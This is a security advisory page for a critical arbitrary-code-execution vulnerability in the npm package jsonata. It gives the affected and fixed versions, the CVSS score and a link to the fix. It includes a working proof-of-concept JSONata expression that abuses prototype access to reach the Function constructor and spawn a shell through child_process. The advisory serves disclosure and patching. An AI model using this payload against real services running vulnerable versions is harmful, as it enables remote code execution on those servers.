GHSA-8gq3-vp5j-2grp

Suggest an improvement
Source
https://github.com/advisories/GHSA-8gq3-vp5j-2grp
Import Source
https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/08/GHSA-8gq3-vp5j-2grp/GHSA-8gq3-vp5j-2grp.json
JSON Data
https://api.osv.dev/v1/vulns/GHSA-8gq3-vp5j-2grp
Aliases
Downstream
MINI (3)
Published
2026-08-21T20:57:07Z
Modified
2026-08-21T21:10:59Z
Severity
  • 9.3 (Critical) CVSS_V4 - CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N CVSS Calculator
Summary
JSONata: Arbitrary Code Execution via crafted JSONata expressions
Details

Impact

Before JSONata 2.2.0 and 1.8.8 it was possible to execute arbitrary code with crafted expressions, due to a missing hasOwnProperty check in the lookup function: https://github.com/jsonata-js/jsonata/blob/f9632e01e6e67d4f9f00593f9795420cb4b57f48/src/functions.js#L1686-L1705

This was fixed with https://github.com/jsonata-js/jsonata/pull/794, which is included in the 2.2.0 release, and ported in the 1.8.8 release.

PoC

import jsonata from "jsonata";

const expression = jsonata(`
(
   __lookupSetter__('__proto__')(constructor);
   __defineGetter__('l', constructor("return
process.getBuiltinModule('child_process').execSync('sh',{stdio:'inherit'}).toString()"));
   valueOf().l
)
`);

await expression.evaluate({});
Database specific 
{
    "cwe_ids":  [
        "CWE-94"
    ],
    "github_reviewed":  true,
    "github_reviewed_at":  "2026-08-21T20:57:07Z",
    "nvd_published_at":  null,
    "severity":  "CRITICAL"
}
References

Affected packages

npm / jsonata

Package

Name
jsonata
View open source insights on deps.dev
Purl
pkg:npm/jsonata

Affected ranges

Type
SEMVER
Events
Introduced
0 Unknown introduced version / All previous versions are affected
Fixed
1.8.8

Database specific

last_known_affected_version_range 
"<= 1.8.7"
source 
"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/08/GHSA-8gq3-vp5j-2grp/GHSA-8gq3-vp5j-2grp.json"

npm / jsonata

Package

Name
jsonata
View open source insights on deps.dev
Purl
pkg:npm/jsonata

Affected ranges

Type
SEMVER
Events
Introduced
2.0.0
Fixed
2.2.0

Database specific

source 
"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/08/GHSA-8gq3-vp5j-2grp/GHSA-8gq3-vp5j-2grp.json"